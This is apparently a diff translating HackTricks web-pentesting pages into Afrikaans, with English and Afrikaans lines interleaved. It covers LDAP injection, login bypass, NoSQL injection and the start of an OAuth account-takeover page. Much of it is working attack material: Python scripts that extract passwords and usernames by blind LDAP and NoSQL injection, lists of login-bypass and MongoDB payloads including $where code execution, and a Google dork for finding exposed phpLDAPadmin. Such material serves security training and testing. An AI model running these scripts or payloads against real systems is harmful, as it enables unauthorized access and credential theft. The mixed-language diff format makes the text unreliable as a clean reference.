Jy kan vals of ware antwoorde afdwing om te kyk of enige data teruggestuur word en 'n moontlike Blind LDAP Inspuiting te bevestig:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -140,11 +137,9 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Dump data
You can iterate over the ascii letters, digits and symbols:
Jy kan oor die ascii letters, syfers en simbole iterere:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
@ -155,13 +150,11 @@ You can iterate over the ascii letters, digits and symbols:
(&(sn=administrator)(password=MB*)) : KO
...
```
### Skripte
### Scripts
#### **Discover valid LDAP fields**
LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
#### **Ontdek geldige LDAP-velde**
LDAP-objekte **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **almal daarvan te brute-force om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) vind.
```python
#!/usr/bin/python3
import requests
@ -176,26 +169,24 @@ alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Special Blind LDAP Injection (without "\*")**
#### **Spesiale Blind LDAP Inspuiting (sonder "\*")**
```python
#!/usr/bin/python3
@ -204,30 +195,26 @@ alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### More Payloads
### Meer Payloads
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
As jy belangstel in **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiende Pools skriftelik en geselskaplik vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,51 +4,50 @@
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
## **Bypass regular login**
## **Om gewone aanmelding te omseil**
If you find a login page, here you can find some techniques to try to bypass it:
As jy 'n aanmeldbladsy vind, kan jy hier 'n paar tegnieke vind om te probeer om dit te omseil:
- Check for **comments** inside the page (scroll down and to the right?)
- Check if you can **directly access the restricted pages**
- Check to **not send the parameters** (do not send any or only 1)
- Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **Change content type to json** and send json values (bool true included)
- If you get a response saying that POST is not supported you can try to send the **JSON in the body but with a GET request** with `Content-Type: application/json`
- Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
- Nodejs will transform that payload to a query similar to the following one: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` which makes the password bit to be always true.
- If you can send a JSON object you can send `"password":{"password": 1}` to bypass the login.
- Remember that to bypass this login you still need to **know and send a valid username**.
- **Adding `"stringifyObjects":true`** option when calling `mysql.createConnection` will eventually b**lock all unexpected behaviours when `Object` is passed** in the parameter.
- Check credentials:
- [**Default credentials**](../../generic-hacking/brute-force.md#default-credentials) of the technology/platform used
- **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords).
- Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password**
- **Brute-force** using a bigger **dictionary (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
- Kyk vir **kommentaar** binne die bladsy (scroll af en na regs?)
- Kyk of jy **direk toegang tot die beperkte bladsye** kan kry
- Kyk om **nie die parameters te stuur nie** (stuur geen of net 1)
- Kyk na die **PHP vergelykingsfout:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **Verander inhoud tipe na json** en stuur json waardes (bool true ingesluit)
- As jy 'n antwoord kry wat sê dat POST nie ondersteun word nie, kan jy probeer om die **JSON in die liggaam te stuur maar met 'n GET versoek** met `Content-Type: application/json`
- Kyk na nodejs potensiële ontledingsfout (lees [**hierdie**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
- Nodejs sal daardie payload omskep na 'n navraag soortgelyk aan die volgende: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` wat die wagwoordbit altyd waar maak.
- As jy 'n JSON objek kan stuur, kan jy `"password":{"password": 1}` stuur om die aanmelding te omseil.
- Onthou dat om hierdie aanmelding te omseil, jy steeds moet **weet en 'n geldige gebruikersnaam stuur**.
- **Voeg `"stringifyObjects":true`** opsie by wanneer jy `mysql.createConnection` aanroep, sal uiteindelik **alle onverwagte gedrag blokkeer wanneer `Object` in die parameter gestuur word**.
- Kyk na geloofsbriewe:
- [**Standaard geloofsbriewe**](../../generic-hacking/brute-force.md#default-credentials) van die tegnologie/platform wat gebruik word
- **Gewone kombinasies** (root, admin, wagwoord, naam van die tegnologie, standaard gebruiker met een van hierdie wagwoorde).
- Skep 'n woordeboek met **Cewl**, **voeg** die **standaard** gebruikersnaam en wagwoord (indien daar is) by en probeer om dit te brute-force met al die woorde as **gebruikersname en wagwoord**
- **Brute-force** met 'n groter **woordeboek (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
### SQL Injection authentication bypass
### SQL Injection aanmeld omseiling
[Here you can find several tricks to bypass the login via **SQL injections**](../sql-injection/#authentication-bypass).
[Hier kan jy verskeie truuks vind om die aanmelding via **SQL injections** te omseil](../sql-injection/#authentication-bypass).
In the following page you can find a **custom list to try to bypass login** via SQL Injections:
Op die volgende bladsy kan jy 'n **aangepaste lys vind om te probeer om aanmelding** via SQL Injections te omseil:
{{#ref}}
sql-login-bypass.md
{{#endref}}
### No SQL Injection authentication bypass
### Geen SQL Injection aanmeld omseiling
[Here you can find several tricks to bypass the login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
[Hier kan jy verskeie truuks vind om die aanmelding via **Geen SQL Injections** te omseil](../nosql-injection.md#basic-authentication-bypass)**.**
As the NoSQL Injections requires to change the parameters value, you will need to test them manually.
Aangesien die NoSQL Injections vereis dat die parameterwaarde verander word, sal jy dit handmatig moet toets.
### XPath Injection authentication bypass
[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)
### XPath Injection aanmeld omseiling
[Hier kan jy verskeie truuks vind om die aanmelding via **XPath Injection.** te omseil](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -64,11 +63,9 @@ As the NoSQL Injections requires to change the parameters value, you will need t
admin' or '
admin' or '1'='2
```
### LDAP Injection outentiekingsomseiling
### LDAP Injection authentication bypass
[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)
[Hier kan jy verskeie truuks vind om die aanmelding via **LDAP Injection** te omseil.](../ldap-injection.md#login-bypass)
```
*
*)(&
@ -82,29 +79,27 @@ admin)(!(&(|
pwd))
admin))(|(|
```
### Onthou My
### Remember Me
As die bladsy "**Onthou My**" funksionaliteit het, kyk hoe dit geïmplementeer is en sien of jy dit kan misbruik om **ander rekeninge oor te neem**.
If the page has "**Remember Me**" functionality check how is it implemented and see if you can abuse it to **takeover other accounts**.
### Oorgange
### Redirects
Bladsye lei gewoonlik gebruikers na aanmelding, kyk of jy daardie oorgang kan verander om 'n [**Open Redirect**](../open-redirect.md) te veroorsaak. Miskien kan jy 'n paar inligting (kodes, koekies...) steel as jy die gebruiker na jou web lei.
Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web.
## Ander Kontroles
## Other Checks
- Kyk of jy **gebruikernames kan opnoem** deur die aanmeldfunksionaliteit te misbruik.
- Kyk of **outo-voltooi** aktief is in die wagwoord/**sensitiewe** inligting **vorms** **invoer:** `<input autocomplete="false">`
- Check if you can **enumerate usernames** abusing the login functionality.
- Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** `<input autocomplete="false"`
## Automatic Tools
## Outomatiese Gereedskap
- [HTLogin](https://github.com/akinerkisa/HTLogin)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,15 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
This list contains **payloads to bypass the login via XPath, LDAP and SQL injection**(in that order).
The way to use this list is to put the **first 200 lines as the username and password.** Then, put the complete list in the username first and then in the password inputs while putting some password (like _Pass1234._) or some known username (like _admin_).
Hierdie lys bevat **payloads om die aanmelding te omseil via XPath, LDAP en SQL-inspuiting** (in daardie volgorde).
Die manier om hierdie lys te gebruik, is om die **eerste 200 lyne as die gebruikersnaam en wagwoord in te voer.** Plaas dan die volledige lys eers in die gebruikersnaam en dan in die wagwoord invoer terwyl jy 'n wagwoord (soos _Pass1234._) of 'n bekende gebruikersnaam (soos _admin_) invoer.
```
admin
password
@ -818,14 +817,12 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# NoSQL injection
# NoSQL-inspuiting
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstools.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
@ -12,10 +12,9 @@ Get Access Today:
## Exploit
In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter\[arrName]=foo._
The exploits are based in adding an **Operator**:
In PHP kan jy 'n Array stuur deur die gestuurde parameter van _parameter=foo_ na _parameter\[arrName]=foo_ te verander.
Die exploits is gebaseer op die toevoeging van 'n **Operateur**:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@ -26,11 +25,9 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Basiese outentikasie omseiling
### Basic authentication bypass
**Using not equal ($ne) or greater ($gt)**
**Gebruik nie gelyk aan ($ne) of groter as ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
@ -42,30 +39,22 @@ username[$exists]=true&password[$exists]=true
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
```javascript
query = { $where: `this.username == '${username}'` }
```
An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`.
'n Aanvaller kan dit benut deur stringe soos `admin' || 'a'=='a` in te voer, wat die navraag laat terugkeer van alle dokumente deur die voorwaarde met 'n tautologie (`'a'=='a'`) te bevredig. Dit is analoog aan SQL-inspuitaanvalle waar invoere soos `' or 1=1-- -` gebruik word om SQL-navrae te manipuleer. In MongoDB kan soortgelyke inspuitings gedoen word met invoere soos `' || 1==1//`, `' || 1==1%00`, of `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### Extract **length** information
### Trek **lengte** inligting uit
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Extract **data** information
### Trek **data** inligting uit
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
@ -83,9 +72,7 @@ in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
@ -97,55 +84,49 @@ in JSON
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP Willekeurige Funksie Uitvoering
### PHP Arbitrary Function Execution
Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/).
Met die **$func** operator van die [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) biblioteek (wat standaard gebruik word) mag dit moontlik wees om 'n willekeurige funksie uit te voer soos in [hierdie verslag](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../images/image (933).png>)
### Get info from different collection
### Kry inligting van 'n verskillende versameling
It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) to get info from a different collection. In the following example, we are reading from a **different collection** called **`users`** and getting the **results of all the entries** with a password matching a wildcard.
**NOTE:** `$lookup` and other aggregation functions are only available if the `aggregate()` function was used to perform the search instead of the more common `find()` or `findOne()` functions.
Dit is moontlik om [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) te gebruik om inligting van 'n verskillende versameling te kry. In die volgende voorbeeld lees ons van 'n **verskillende versameling** genaamd **`users`** en kry die **resultate van al die inskrywings** met 'n wagwoord wat met 'n wildcard ooreenstem.
**NOTE:** `$lookup` en ander aggregatiefunksies is slegs beskikbaar as die `aggregate()` funksie gebruik is om die soektog uit te voer in plaas van die meer algemene `find()` of `findOne()` funksies.
```json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
```
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
## MongoDB Payloads
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
Lys [van hier](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
@ -175,9 +156,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Blind NoSQL Script
## Blind NoSQL Skrip
```python
import requests, string
@ -185,13 +164,13 @@ alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
@ -205,19 +184,17 @@ username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### Brute-force aanmeldgebruikersname en wagwoorde vanaf POST-aanmelding
### Brute-force login usernames and passwords from POST login
This is a simple script that you could modify but the previous tools can also do this task.
Dit is 'n eenvoudige skrip wat jy kan aanpas, maar die vorige gereedskap kan ook hierdie taak uitvoer.
```python
import requests
import string
@ -227,43 +204,42 @@ headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
get_password(u)
```
## Tools
## Gereedskap
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
## References
## Verwysings
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
@ -275,8 +251,7 @@ for u in get_usernames(""):
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}

View File

@ -1,4 +1,4 @@
# OAuth to Account takeover
# OAuth na Rekening oorname
{{#include ../banners/hacktricks-training.md}}
@ -6,36 +6,35 @@
{% embed url="https://websec.nl/" %}
## Basic Information <a href="#d4a8" id="d4a8"></a>
## Basiese Inligting <a href="#d4a8" id="d4a8"></a>
OAuth offers various versions, with foundational insights accessible at [OAuth 2.0 documentation](https://oauth.net/2/). This discussion primarily centers on the widely used [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), providing an **authorization framework that enables an application to access or perform actions on a user's account in another application** (the authorization server).
OAuth bied verskeie weergawes, met fundamentele insigte beskikbaar by [OAuth 2.0 dokumentasie](https://oauth.net/2/). Hierdie bespreking fokus hoofsaaklik op die algemeen gebruikte [OAuth 2.0 magtigingskode toekennings tipe](https://oauth.net/2/grant-types/authorization-code/), wat 'n **magtigingsraamwerk bied wat 'n toepassing in staat stel om toegang te verkry of aksies op 'n gebruiker se rekening in 'n ander toepassing uit te voer** (die magtigingsbediener).
Consider a hypothetical website _**https://example.com**_, designed to **showcase all your social media posts**, including private ones. To achieve this, OAuth 2.0 is employed. _https://example.com_ will request your permission to **access your social media posts**. Consequently, a consent screen will appear on _https://socialmedia.com_, outlining the **permissions being requested and the developer making the request**. Upon your authorization, _https://example.com_ gains the ability to **access your posts on your behalf**.
Dink aan 'n hipotetiese webwerf _**https://example.com**_, ontwerp om **al jou sosiale media plasings te vertoon**, insluitend privaat plasings. Om dit te bereik, word OAuth 2.0 gebruik. _https://example.com_ sal jou toestemming vra om **toegang tot jou sosiale media plasings** te verkry. Gevolglik sal 'n toestemmingskerm op _https://socialmedia.com_ verskyn, wat die **toestemmings wat aangevra word en die ontwikkelaar wat die aanvraag doen** uiteensit. Na jou magtiging, verkry _https://example.com_ die vermoë om **jou plasings namens jou te benader**.
It's essential to grasp the following components within the OAuth 2.0 framework:
Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0 raamwerk te verstaan:
- **resource owner**: You, as the **user/entity**, authorize access to your resource, like your social media account posts.
- **resource server**: The **server managing authenticated requests** after the application has secured an `access token` on behalf of the `resource owner`, e.g., **https://socialmedia.com**.
- **client application**: The **application seeking authorization** from the `resource owner`, such as **https://example.com**.
- **authorization server**: The **server that issues `access tokens`** to the `client application` following the successful authentication of the `resource owner` and securing authorization, e.g., **https://socialmedia.com**.
- **client_id**: A public, unique identifier for the application.
- **client_secret:** A confidential key, known solely to the application and the authorization server, used for generating `access_tokens`.
- **response_type**: A value specifying **the type of token requested**, like `code`.
- **scope**: The **level of access** the `client application` is requesting from the `resource owner`.
- **redirect_uri**: The **URL to which the user is redirected after authorization**. This typically must align with the pre-registered redirect URL.
- **state**: A parameter to **maintain data across the user's redirection to and from the authorization server**. Its uniqueness is critical for serving as a **CSRF protection mechanism**.
- **grant_type**: A parameter indicating **the grant type and the type of token to be returned**.
- **code**: The authorization code from the `authorization server`, used in tandem with `client_id` and `client_secret` by the client application to acquire an `access_token`.
- **access_token**: The **token that the client application uses for API requests** on behalf of the `resource owner`.
- **refresh_token**: Enables the application to **obtain a new `access_token` without re-prompting the user**.
- **resource owner**: Jy, as die **gebruiker/entiteit**, magtig toegang tot jou hulpbron, soos jou sosiale media rekening plasings.
